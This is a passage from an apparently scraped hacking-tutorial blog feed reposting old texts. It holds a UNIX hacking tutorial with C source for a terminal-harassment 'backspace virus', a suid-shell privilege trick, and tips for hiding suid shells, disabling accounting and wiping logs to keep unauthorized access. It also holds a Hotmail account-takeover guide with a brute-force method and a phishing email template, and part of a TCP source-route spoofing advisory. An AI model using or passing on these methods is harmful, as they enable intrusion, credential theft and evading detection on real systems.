bogus.\n");&lt;br /&gt; }&lt;br /&gt; if ((stbuf.st_mode&amp;02) == 0) {&lt;br /&gt;  printf("You have write permissions turned off (hehe!).\n");&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt;    if (histtya) {&lt;br /&gt;  if (!strncmp(histtya, "/dev/", 5))&lt;br /&gt;   histtya = strrchr(histtya, '/') + 1;&lt;br /&gt;  strcpy(histty, "/dev/");&lt;br /&gt;  strcat(histty, histtya);&lt;br /&gt; }&lt;br /&gt; while (fread((char *)&amp;ubuf, sizeof(ubuf), 1, uf) == 1) {&lt;br /&gt;  if (ubuf.ut_name[0] == '\0')&lt;br /&gt;   continue;&lt;br /&gt;  if (!strncmp(ubuf.ut_name, him, NMAX)) {&lt;br /&gt;   logcnt++;&lt;br /&gt;   if (histty[0]==0) {&lt;br /&gt;    strcpy(histty, "/dev/");&lt;br /&gt;    strcat(histty, ubuf.ut_line);&lt;br /&gt;   }&lt;br /&gt;   if (histtya) {&lt;br /&gt;    if (!strcmp(ubuf.ut_line, histtya))&lt;br /&gt;     goodtty++;&lt;br /&gt;   }&lt;br /&gt;  }&lt;br /&gt; }&lt;br /&gt; fclose(uf);&lt;br /&gt;        if (logcnt==0) {&lt;br /&gt;  printf("%s not found! (Not logged in?)\n", him);&lt;br /&gt;  exit(1);&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; if (histtya==0 &amp;&amp; logcnt &gt; 1) {&lt;br /&gt;  printf("%s logged more than once\nwriting to %s\n", him, histty+5);&lt;br /&gt; }&lt;br /&gt; if (access(histty, 0) &lt; 0) {&lt;br /&gt;  printf("No such tty? [%s]\n",histty);&lt;br /&gt;  exit(1);&lt;br /&gt; }&lt;br /&gt; signal(SIGALRM, timout);&lt;br /&gt; alarm(5);&lt;br /&gt; if ((tf = fopen(histty, "w")) == NULL)&lt;br /&gt;  goto perm;&lt;br /&gt; alarm(0);&lt;br /&gt; if (fstat(fileno(tf), &amp;stbuf) &lt; 0)&lt;br /&gt;  goto perm;&lt;br /&gt; if (geteuid() != 0 &amp;&amp; (stbuf.st_mode&amp;02) == 0)&lt;br /&gt;  goto perm;&lt;br /&gt; ioctl(0, TCGETA, &amp;oldmode);  /* save tty state */&lt;br /&gt; ioctl(0, TCGETA, &amp;mode);&lt;br /&gt; sigs(eof);&lt;br /&gt; uname(&amp;name);&lt;br /&gt;        if (strcmp(him,"YOURNAMEHERE") == 0) yn = 1;&lt;br /&gt;  if (yn == 1 ) {&lt;br /&gt;    fprintf(tf, "\r(%s attempted to HOSE You with NW)\r\n",me);&lt;br /&gt;    fclose(tf);&lt;br /&gt;    printf("Critical Error Handler: %s running conflicting process\n",him);&lt;br /&gt;    exit(1);&lt;br /&gt;}&lt;br /&gt;    fflush(tf);&lt;br /&gt; mode.c_cc[4] = 1;&lt;br /&gt; mode.c_cc[5] = 0;&lt;br /&gt; mode.c_lflag &amp;= ~ICANON;&lt;br /&gt; ioctl(0, TCSETAW, &amp;mode);&lt;br /&gt; lastc = '\n';&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;printf("Backspace / Spin Cursor set lose on: %s\n",him);&lt;br /&gt;   while (loop == 0) {&lt;br /&gt;   c1 = '\b'; &lt;br /&gt;   write(fileno(tf),&amp;c1,1); &lt;br /&gt;   sleep(5); &lt;br /&gt;fprintf(tf,"\\\b|\b/\b-\b+\b"); &lt;br /&gt;   fflush(tf); &lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;perm:&lt;br /&gt;printf("Write Permissions denied!\n");&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;timout()&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;printf("Timeout opening their tty\n");&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;eof()&lt;br /&gt;{&lt;br /&gt;printf("Bye..\n");&lt;br /&gt;ioctl(0, TCSETAW, &amp;oldmode);&lt;br /&gt;exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;ex()&lt;br /&gt;{&lt;br /&gt; register i;&lt;br /&gt; sigs(SIG_IGN);&lt;br /&gt; i = fork();&lt;br /&gt; if (i &lt; 0) {&lt;br /&gt;  printf("Try again\n");&lt;br /&gt;  goto out;&lt;br /&gt; }&lt;br /&gt; if (i == 0) {&lt;br /&gt;  sigs((int (*)())0);&lt;br /&gt;  execl(getenv("SHELL")?getenv("SHELL"):"/bin/sh","sh","-t",0);&lt;br /&gt;  exit(0);&lt;br /&gt; }&lt;br /&gt; while(wait((int *)NULL) != i)&lt;br /&gt;  ;&lt;br /&gt; printf("!\n");&lt;br /&gt;out:&lt;br /&gt; sigs(eof);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sigs(sig)&lt;br /&gt;int (*sig)();&lt;br /&gt;{&lt;br /&gt; register i;&lt;br /&gt; for (i=0; signum[i]; i++)&lt;br /&gt;  signal(signum[i], sig);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;What the above is, is a modified version of the standard write command.&lt;br /&gt;What it does, is spin the cursor once, then backspace once over the&lt;br /&gt;screen of the user it is run on. All though, it does not physically affect&lt;br /&gt;input, the user thinks it does.  therefore, he garbles input.  The sleep(xx)&lt;br /&gt;can be changed to make the stuff happen more often, or less often.&lt;br /&gt;If you put your login name in the "YOURNAMEHERE" slot, it will protect you&lt;br /&gt;from getting hit by it, if someone off a Public access unix leeches the&lt;br /&gt;executable from your directory.&lt;br /&gt;You could make a shorter program that does almost the same thing, but&lt;br /&gt;you have to supply the terminal, observe:&lt;br /&gt;&lt;br /&gt;/* Backspace virus, by Sir Hackalot [Phaze] */&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;fcntl.h&gt;&lt;br /&gt;main(argc,argv)&lt;br /&gt;char *argv[];&lt;br /&gt;int argc;&lt;br /&gt;{&lt;br /&gt;        int x = 1;&lt;br /&gt;        char *device = "/dev/";&lt;br /&gt;        FILE *histty;&lt;br /&gt;        if (argc == 1) {&lt;br /&gt;        printf("Bafoon.  Supply a TTY.\n");&lt;br /&gt;        exit(1);&lt;br /&gt;        }&lt;br /&gt;        strcat(device,argv[1]);&lt;br /&gt;        /* Make the filename /dev/tty.. */&lt;br /&gt;        histty = fopen(device,"a");&lt;br /&gt;        if (histty == NULL) {&lt;br /&gt;        printf("Error opening/writing to tty.  Check their perms.\n");&lt;br /&gt;        exit(1);&lt;br /&gt;        }&lt;br /&gt;        printf("BSV - Backspace virus, By Sir Hackalot.\n");&lt;br /&gt;        printf("The Sucker on %s is getting it!\n",device);&lt;br /&gt;        while (x == 1) {&lt;br /&gt;        fprintf(histty,"\b\b");&lt;br /&gt;        fflush(histty);&lt;br /&gt;        sleep(5);&lt;br /&gt;        }&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;Thats all there is to it.  If you can write to their tty, you can use this on&lt;br /&gt;them.  It sends two backspaces to them every approx. 5 seconds.  You&lt;br /&gt;should run this program in the background.  (&amp;).  Here is an example:&lt;br /&gt;&lt;br /&gt;$ who&lt;br /&gt;sirhack     tty11&lt;br /&gt;loozer      tty12&lt;br /&gt;$ bsv tty12&amp;&lt;br /&gt;[1]  4566&lt;br /&gt;BSV - Backspace virus, by Sir Hackalot&lt;br /&gt;The Sucker on /dev/tty12 is getting it!&lt;br /&gt;$&lt;br /&gt;&lt;br /&gt;Now, it will keep "attacking" him, until he loggs of, or you kill the process&lt;br /&gt;(which was 4566 -- when you use &amp;, it gives the pid [usually]).&lt;br /&gt;&lt;br /&gt;** Note *** Keep in mind that MSDOS, and other OP systems use The CR/LF&lt;br /&gt;method to terminate a line.  However, the LF terminates a line in Unix.&lt;br /&gt;you must STRIP CR's on an ascii upload if you want something you upload&lt;br /&gt;to an editor to work right.  Else, you'll see a ^M at the end of every&lt;br /&gt;line.  I know that sucks, but you just have to compensate for it.&lt;br /&gt;&lt;br /&gt;I have a number of other programs that annoy users, but that is enough to&lt;br /&gt;get your imagination going, provided you are a C programmer.  You can annoy&lt;br /&gt;users other ways.  One thing you can do is screw up the user's mailbox.&lt;br /&gt;The way to do this is to find a binary file (30k or bigger) on the system&lt;br /&gt;which YOU have access to read.  then, do this:&lt;br /&gt;&lt;br /&gt;$ cat binary_file | mail loozer&lt;br /&gt;&lt;br /&gt;or&lt;br /&gt;&lt;br /&gt;$ mail loozer &lt; binary file&lt;br /&gt;&lt;br /&gt;That usually will spilt into 2 messages or more.  The 1st message will&lt;br /&gt;have a from line.. (from you ..), but the second WILL NOT!  Since it does&lt;br /&gt;not, the mail reader will keep exiting and giving him an error message until&lt;br /&gt;it gets fixed..  The way to fix it is to go to the mail box that got hit&lt;br /&gt;with this trick (usually only the one who got hit (or root) and do this),&lt;br /&gt;and edit the file, and add a from line.. like&lt;br /&gt;From username..&lt;br /&gt;&lt;br /&gt;then it will be ok.  You can screw the user by "cat"ing a binary to his tty.&lt;br /&gt;say Loozer is on tty12.  You can say..&lt;br /&gt;$ cat binary_file &gt;/dev/tty12&lt;br /&gt;$&lt;br /&gt;It may pause for a while while it outputs it.  If you want to resume what&lt;br /&gt;you were doing instantly, do:&lt;br /&gt;$ cat binary_file &gt;/dev/tty12&amp;&lt;br /&gt;[1] 4690&lt;br /&gt;$&lt;br /&gt;And he will probably logoff.  You can send the output of anything to his&lt;br /&gt;terminal.  Even what YOU do in shell.  Like this:&lt;br /&gt;$ sh &gt;/dev/tty12&lt;br /&gt;$&lt;br /&gt;You'll get your prompts, but you won't see the output of any commands, he&lt;br /&gt;will...&lt;br /&gt;$ ls&lt;br /&gt;$ banner Idiot!&lt;br /&gt;$ echo Dumbass!&lt;br /&gt;$&lt;br /&gt;until you type in exit, or hit ctrl-d.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;There are many many things you can do.  You can fake a "write" to someone&lt;br /&gt;and make them think it was from somewhere on the other side of hell.  Be&lt;br /&gt;creative.&lt;br /&gt;&lt;br /&gt;When you are looking for things to do, look for holes, or try to get&lt;br /&gt;someone to run a trojan horse that makes a suid shell.  If you get&lt;br /&gt;someone to run a trojan that does that, you can run the suid, and log their&lt;br /&gt;ass off by killing their mother PID.  (kill -9 whatever).  Or, you can&lt;br /&gt;lock them out by adding "kill -1 0" to their .profile.  On the subject of&lt;br /&gt;holes, always look for BAD suid bits.  On one system thought to be invincible&lt;br /&gt;I was able to read/modify everyone's mail, because I used a mailer that had&lt;br /&gt;both the GroupID set, and the UserID set.  When I went to shell from it,&lt;br /&gt;the program instantly changed my Effective ID back to me, so I would not be&lt;br /&gt;able to do anything but my regular stuff.  But it was not designed to change&lt;br /&gt;the GROUP ID back.  The sysop had blundered there.  SO when I did an ID&lt;br /&gt;I found my group to be "Mail".  Mailfiles are readble/writeable by the&lt;br /&gt;user "mail", and the group "mail".  I then set up a sgid (set group id) shell&lt;br /&gt;to change my group id to "mail" when I ran it, and scanned important mail,&lt;br /&gt;and it got me some good info.  So, be on the look out for poor permissions.&lt;br /&gt;&lt;br /&gt;Also, after you gain access, you may want to keep it.  Some tips on doing so&lt;br /&gt;is:&lt;br /&gt;        1. Don't give it out.  If the sysadm sees that joeuser logged in 500&lt;br /&gt;           times in one night....then....&lt;br /&gt;        2. Don't stay on for hours at a time.  They can trace you then. Also&lt;br /&gt;           they will know it is irregular to have joeuser on for 4 hours&lt;br /&gt;           after work.&lt;br /&gt;        3. Don't trash the system.  Don't erase important files, and don't&lt;br /&gt;           hog inodes, or anything like that.  Use the machine for a specific&lt;br /&gt;           purpose (to leech source code, develop programs, an Email site).&lt;br /&gt;           Dont be an asshole, and don't try to erase everything you can.&lt;br /&gt;        4. Don't screw with users constantly.  Watch their processes and&lt;br /&gt;           run what they run.  It may get you good info (snoop!)&lt;br /&gt;        5. If you add an account, first look at the accounts already in there&lt;br /&gt;           If you see a bunch of accounts that are just 3 letter abbrv.'s,&lt;br /&gt;           then make yours so.  If a bunch are "cln, dok, wed" or something,&lt;br /&gt;           don't add one that is "joeuser", add one that is someone's&lt;br /&gt;           full initials.&lt;br /&gt;&lt;br /&gt;        6. When you add an account, put a woman's name in for the&lt;br /&gt;           description, if it fits (Meaning, if only companies log on to the&lt;br /&gt;           unix, put a company name there).  People do not suspect hackers&lt;br /&gt;           to use women's names.  They look for men's names.&lt;br /&gt;        7. Don't cost the Unix machine too much money.  Ie.. don't abuse an&lt;br /&gt;           outdial, or if it controls trunks, do not set up a bunch of dial&lt;br /&gt;           outs.  If there is a pad, don't use it unless you NEED it.&lt;br /&gt;        8. Don't use x.25 pads.  Their usage is heavily logged.&lt;br /&gt;        9. Turn off acct logging (acct off) if you have the access to.&lt;br /&gt;           Turn it on when you are done.&lt;br /&gt;       10. Remove any trojan horses you set up to give you access when you&lt;br /&gt;           get access.&lt;br /&gt;       11. Do NOT change the MOTD file to say "I hacked this system" Just&lt;br /&gt;           thought I'd tell you.  Many MANY people do that, and lose access&lt;br /&gt;           within 2 hours, if the unix is worth a spit.&lt;br /&gt;       12. Use good judgement.  Cover your tracks.  If you use su, clean&lt;br /&gt;           up the sulog.&lt;br /&gt;       13. If you use cu, clean up the cu_log.&lt;br /&gt;       14. If you use the smtp bug (wizard/debug), set up a uid shell.&lt;br /&gt;       15. Hide all suid shells.  Here's how:&lt;br /&gt;           goto /usr&lt;br /&gt;           (or any dir)&lt;br /&gt;           do:&lt;br /&gt;           # mkdir ".. "&lt;br /&gt;           # cd ".. "&lt;br /&gt;           # cp /bin/sh ".whatever"&lt;br /&gt;           # chmod a+s ".whatever"&lt;br /&gt;           The "" are NEEDED to get to the directory ..  !  It will not show&lt;br /&gt;           up in a listing, and it is hard as hell to get to by sysadms if&lt;br /&gt;           you make 4 or 5 spaces in there ("..    "), because all they will&lt;br /&gt;           see in a directory FULL list will be .. and they won't be able to&lt;br /&gt;           get there unless they use "" and know the spacing.  "" is used&lt;br /&gt;           when you want to do literals, or use a wildcard as part of a file&lt;br /&gt;           name.&lt;br /&gt;       16. Don't hog cpu time with password hackers.  They really don't work&lt;br /&gt;           well.&lt;br /&gt;&lt;br /&gt;       17. Don't use too much disk space.  If you archieve something to dl,&lt;br /&gt;           dl it, then kill the archieve.&lt;br /&gt;       18. Basically -- COVER YOUR TRACKS.&lt;br /&gt;&lt;br /&gt;Some final notes:&lt;br /&gt;&lt;br /&gt;Now, I hear lots of rumors and stories like "It is getting harder to get&lt;br /&gt;into systems...".  Wrong. (Yo Pheds! You reading this??).  It IS true&lt;br /&gt;when you are dealing with WAN's, such as telenet, tyment, and the Internet,&lt;br /&gt;but not with local computers not on those networks.  Here's the story:&lt;br /&gt;&lt;br /&gt;Over the past few years, many small companies have sprung up as VARs&lt;br /&gt;(Value Added Resellers) for Unix and Hardware, in order to make a fast&lt;br /&gt;buck.  Now, these companies fast talk companies into buying whatever,&lt;br /&gt;and they proceed in setting up the Unix.  Now, since they get paid by&lt;br /&gt;the hour usaually when setting one up, they spread it out over days....&lt;br /&gt;during these days, the system is WIDE open (if it has a dialin).  Get&lt;br /&gt;in and add yourself to passwd before the seal it off (if they do..).&lt;br /&gt;Then again, after the machine is set up, they leave the defaults on the&lt;br /&gt;system.  Why?  The company needs to get in, and most VARs cannot use&lt;br /&gt;unix worth a shit, all they know how to do is set it up, and that is ALL.&lt;br /&gt;Then, they turn over the system to a company or business that USUALLY&lt;br /&gt;has no-one that knows what they hell they are doing with the thing, except&lt;br /&gt;with menus.  So, they leave the system open to all...(inadvertedly..),&lt;br /&gt;because they are not competant.  So, you could usually get on, and create&lt;br /&gt;havoc, and at first they will think it is a bug..  I have seen this&lt;br /&gt;happen ALL to many times, and it is always the same story...&lt;br /&gt;The VAR is out for a fast buck, so they set up the software (all they know&lt;br /&gt;how to do), and install any software packages ordered with it (following&lt;br /&gt;the step by step instructions).  Then they turn it over to the business&lt;br /&gt;who runs a word processor, or database, or something, un aware that a&lt;br /&gt;"shell" or command line exists, and they probably don't even know root does.&lt;br /&gt;So, we will see more and more of these pop up, especially since AT&amp;T is&lt;br /&gt;now bundling a version of Xwindows with their new System V, and Simultask...&lt;br /&gt;which will lead to even more holes.  You'll find systems local to you&lt;br /&gt;that are easy as hell to get into, and you'll see what I mean.  These&lt;br /&gt;VARs are really actually working for us.  If a security problem arises&lt;br /&gt;that the business is aware of, they call the VAR to fix it... Of course,&lt;br /&gt;the Var gets paid by the hour, and leaves something open so you'll get in&lt;br /&gt;again, and they make more moolahhhh.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You can use this phile for whatever you want.  I can't stop you.  Just&lt;br /&gt;to learn unix (heh) or whatever.  But its YOUR ass if you get caught.&lt;br /&gt;Always consider the penalties before you attempt something.  Sometimes&lt;br /&gt;it is not worth it, Sometimes it is.&lt;br /&gt;&lt;br /&gt;This phile was not meant to be comprehensive, even though it may seem like&lt;br /&gt;it.  I have left out a LOT of techniques, and quirks, specifically to get&lt;br /&gt;you to learn SOMETHING on your own, and also to retain information so&lt;br /&gt;I will have some secrets.  You may pass this file on, UNMODIFIED, to any&lt;br /&gt;GOOD H/P BBS.  Sysops can add things to the archieve to say where&lt;br /&gt;it was DL'd from, or to the text viewer for the same purpose.  This is&lt;br /&gt;Copywrited (haha) by Sir Hackalot, and by PHAZE, in the year 1990.&lt;br /&gt;&lt;br /&gt;-Sir Hackalot of PHAZE&lt;br /&gt;1990.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1600577931686774058-2706688545208693829?l=200hacking-tutorial.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/L5BbUI8wUU7JLyjmrpr5EBy0ypg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/L5BbUI8wUU7JLyjmrpr5EBy0ypg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/L5BbUI8wUU7JLyjmrpr5EBy0ypg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/L5BbUI8wUU7JLyjmrpr5EBy0ypg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/200HackingTutorial/~4/unEXwRTbI2M" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://200hacking-tutorial.blogspot.com/feeds/2706688545208693829/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://200hacking-tutorial.blogspot.com/2009/11/unix-hacking-tutorial.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/2706688545208693829?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/2706688545208693829?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/200HackingTutorial/~3/unEXwRTbI2M/unix-hacking-tutorial.html" title="A UNIX Hacking Tutorial" /><author><name>EDIDIONG</name><uri>http://www.blogger.com/profile/12177228070157737970</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://200hacking-tutorial.blogspot.com/2009/11/unix-hacking-tutorial.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUACRXw9cSp7ImA9WxNUEkk.&quot;"><id>tag:blogger.com,1999:blog-1600577931686774058.post-7440404254262212044</id><published>2009-11-03T02:22:00.001-08:00</published><updated>2009-11-03T02:22:44.269-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-03T02:22:44.269-08:00</app:edited><title>A Small Guide to Hacking HOTMAIL</title><content type="html">From hacker@mitchell.demon.nl Mon Mar 02 20:09:04 1998&lt;br /&gt;Newsgroups: alt.hacking&lt;br /&gt;Subject: Hotmail Hack info !&lt;br /&gt;From: Terry Mitchell &lt;hacker@mitchell.demon.nl&gt;&lt;br /&gt;Date: Mon, 02 Mar 1998 12:09:04 -0800&lt;br /&gt;&lt;br /&gt;HOTMAIL HACKING INFO.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I_1_I  - Brute force hacking&lt;br /&gt;a. Use telnet to connect to port 110 (Hotmail´s pop-server)&lt;br /&gt;b. Type USER and then the victim´s username&lt;br /&gt;c. Type PASS and then the guess a password&lt;br /&gt;d. Repeat that until U have found the correct password. &lt;br /&gt;!. This is called brute force hacking and requires patience. &lt;br /&gt;It´s better than trying to guess the victims password on &lt;br /&gt;hotmail homepage only because it´s faster. &lt;br /&gt;____&lt;br /&gt;I_2_I  - The Best way &lt;br /&gt;a. Get the username of the victim (It usually stands in the adress-field&lt;br /&gt;)&lt;br /&gt;b. Then type " www.hotmail.com/cgi-bin/start/victimsusername "&lt;br /&gt;c. U´re in! &lt;br /&gt;!. This hack only work if U are on the same network or computer as the &lt;br /&gt;victim and if he don´t log out. &lt;br /&gt;____&lt;br /&gt;I_3_I  - The old way &lt;br /&gt;a. Go to http://www.hotmail/proxy.html&lt;br /&gt;b. Now type the victims username. (press login)&lt;br /&gt;c. Look at the source code.&lt;br /&gt;d. On the fifth row U should find "action=someadress"&lt;br /&gt;e. Copy that adress and paste it into the adress-field&lt;br /&gt;f. You are in... &lt;br /&gt;!. As you can see it´s a long procedure and the victim have &lt;br /&gt;plenty of time to log out. &lt;br /&gt;____&lt;br /&gt;I_4_I  - Another... &lt;br /&gt;a. Go to hotmail´s homepage&lt;br /&gt;b. Copy the source code.&lt;br /&gt;c. Make a new html file with the same code but change method=post to&lt;br /&gt;method=enter&lt;br /&gt;d. "view" the page&lt;br /&gt;e. Change the adress to www.hotmail.com/ (don´t press enter!)&lt;br /&gt;f. Make the victim type in his username and password&lt;br /&gt;g. Look in the adress-field. There you´ll see ...&amp;password:something... &lt;br /&gt;!. This is the way I use, because it lets you know the password. &lt;br /&gt;(If he exits the browser U can see the password in the History folder!)&lt;br /&gt;&lt;br /&gt;READ!&lt;br /&gt;Hotmail´s sysops have changed the "system" so that the victim may log&lt;br /&gt;out even&lt;br /&gt;if U are inside his/her account. So don´t waste U´r time!&lt;br /&gt;&lt;br /&gt;---&lt;br /&gt;&lt;br /&gt;So you want to get some hotmail passwords?  &lt;br /&gt;This is pretty easy to do once you have got the hang of it.  &lt;br /&gt;If you are a beginner, I wouldn't make this your first attempt at &lt;br /&gt;hacking.  When you need to do is use a port surfer and surf over to &lt;br /&gt;port 80.  While there, you have to try and mail the user that you &lt;br /&gt;want the password from.  It is best to mail them using the words &lt;br /&gt;"We" and "Here at Hotmail..."  Most suckers fall for this and end &lt;br /&gt;up giving out their password.  There is another way to also, you can &lt;br /&gt;get an anon mailer, and forge the addres as staff@hotmail.com.  But &lt;br /&gt;you have to change the reply address to go to a different addres &lt;br /&gt;like user@host.com.  The person that you are trying to get the pass &lt;br /&gt;from MUST respond to that letter for the mail to be forwarded to you. &lt;br /&gt;Have text like "Please reply to this letter with the subject "PASSWORD"&lt;br /&gt;and underneith please include your user name and password.  &lt;br /&gt;If you have trouble Loging in withing the next few days, this is &lt;br /&gt;only because we are updating our mail servers but no need to worry, &lt;br /&gt;your mail will still be there.  Even though the server may be down &lt;br /&gt;for an hour.  From the staff at Hotmail, Thank You."&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1600577931686774058-7440404254262212044?l=200hacking-tutorial.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/pUHPAiFZkGLUXZ7O0Vz1ZUoFTU8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/pUHPAiFZkGLUXZ7O0Vz1ZUoFTU8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/pUHPAiFZkGLUXZ7O0Vz1ZUoFTU8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/pUHPAiFZkGLUXZ7O0Vz1ZUoFTU8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/200HackingTutorial/~4/uoBEDHrAsh0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://200hacking-tutorial.blogspot.com/feeds/7440404254262212044/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://200hacking-tutorial.blogspot.com/2009/11/small-guide-to-hacking-hotmail.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/7440404254262212044?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/7440404254262212044?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/200HackingTutorial/~3/uoBEDHrAsh0/small-guide-to-hacking-hotmail.html" title="A Small Guide to Hacking HOTMAIL" /><author><name>EDIDIONG</name><uri>http://www.blogger.com/profile/12177228070157737970</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://200hacking-tutorial.blogspot.com/2009/11/small-guide-to-hacking-hotmail.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUAHRH46eip7ImA9WxNUEkk.&quot;"><id>tag:blogger.com,1999:blog-1600577931686774058.post-5935710754006983731</id><published>2009-11-03T02:21:00.000-08:00</published><updated>2009-11-03T02:22:15.012-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-03T02:22:15.012-08:00</app:edited><title>A simple TCP spoofing attack</title><content type="html">A simple TCP spoofing attack&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Over the past few years TCP sequence number prediction attacks have become a&lt;br /&gt;real threat against unprotected networks, taking advantage of the inherent&lt;br /&gt;trust relationships present in many network installations.  TCP sequence&lt;br /&gt;number prediction attacks have most commonly been implemented by opening a&lt;br /&gt;series of connections to the target host, and attempting to predict the&lt;br /&gt;sequence number which will be used next.  Many operating systems have&lt;br /&gt;therefore attempted to solve this problem by implementing a method of&lt;br /&gt;generating sequence numbers in unpredictable fashions.  This method does&lt;br /&gt;not solve the problem.&lt;br /&gt;&lt;br /&gt;This advisory introduces an alternative method of obtaining the initial&lt;br /&gt;sequence number from some common trusted services.  The attack presented here&lt;br /&gt;does not require the attacker to open multiple connections, or flood a port&lt;br /&gt;on the trusted host to complete the attack.  The only requirement is that&lt;br /&gt;source routed packets can be injected into the target network with fake&lt;br /&gt;source addresses.&lt;br /&gt;&lt;br /&gt;This advisory assumes that the reader already has an understanding of how&lt;br /&gt;TCP sequence number prediction attacks are implemented.&lt;br /&gt;&lt;br /&gt;The impact of this advisory is greatly diminished due to the large number of&lt;br /&gt;organizations which block source routed packets and packets with addresses&lt;br /&gt;inside of their networks.  Therefore we present the information as more of&lt;br /&gt;a 'heads up' message for the technically inclined, and to re-iterate that&lt;br /&gt;the randomization of TCP sequence numbers is not an effective solution&lt;br /&gt;against this attack.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Technical Details&lt;br /&gt;~~~~~~~~~~~~~~~~~&lt;br /&gt;&lt;br /&gt;The problem occurs when particular network daemons accept connections&lt;br /&gt;with source routing enabled, and proceed to disable any source routing&lt;br /&gt;options on the connection.  The connection is allowed to continue, however&lt;br /&gt;the reverse route is no longer used.  An example attack can launched against&lt;br /&gt;the in.rshd daemon, which on most systems will retrieve the socket options&lt;br /&gt;via getsockopt() and then turn off any dangerous options via setsockopt().&lt;br /&gt;&lt;br /&gt;An example attack follows.&lt;br /&gt;&lt;br /&gt;Host A is the trusted host&lt;br /&gt;Host B is the target host&lt;br /&gt;Host C is the attacker&lt;br /&gt;&lt;br /&gt;Host C initiates a source routed connection to in.rshd on host B, pretending&lt;br /&gt;to be host A.&lt;br /&gt;&lt;br /&gt;Host C spoofing Host A         &lt;SYN&gt;    --&gt;  Host B in.rshd&lt;br /&gt;&lt;br /&gt;Host B receives the initial SYN packet, creates a new PCB (protocol&lt;br /&gt;control block) and associates the route with the PCB.  Host B responds,&lt;br /&gt;using the reverse route, sending back a SYN/ACK with the sequence number.&lt;br /&gt;&lt;br /&gt;Host C spoofing Host A  &lt;--  &lt;SYN/ACK&gt;       Host B in.rshd&lt;br /&gt;&lt;br /&gt;Host C responds, still spoofing host A, acknowledging the sequence number.&lt;br /&gt;Source routing options are not required on this packet.&lt;br /&gt;&lt;br /&gt;Host C spoofing Host A         &lt;ACK&gt;    --&gt;  Host B in.rshd&lt;br /&gt;&lt;br /&gt;We now have an established connection, the accept() call completes, and&lt;br /&gt;control is now passed to the in.rshd daemon.  The daemon now does IP&lt;br /&gt;options checking and determines that we have initiated a source routed&lt;br /&gt;connection.  The daemon now turns off this option, and any packets sent&lt;br /&gt;thereafter will be sent to the real host A, no longer using the reverse&lt;br /&gt;route which we have specified.  Normally this would be safe, however the&lt;br /&gt;attacking host now knows what the next sequence number will be.  Knowing&lt;br /&gt;this sequence number, we can now send a spoofed packet without the source&lt;br /&gt;routing options enabled, pretending to originate from Host A, and our&lt;br /&gt;command will be executed.&lt;br /&gt;&lt;br /&gt;In some conditions the flooding of a port on the real host A is required&lt;br /&gt;if larger ammounts of data are sent, to prevent the real host A from&lt;br /&gt;responding with an RST.  This is not required in most cases when performing&lt;br /&gt;this attack against in.rshd due to the small ammount of data transmitted.&lt;br /&gt;&lt;br /&gt;It 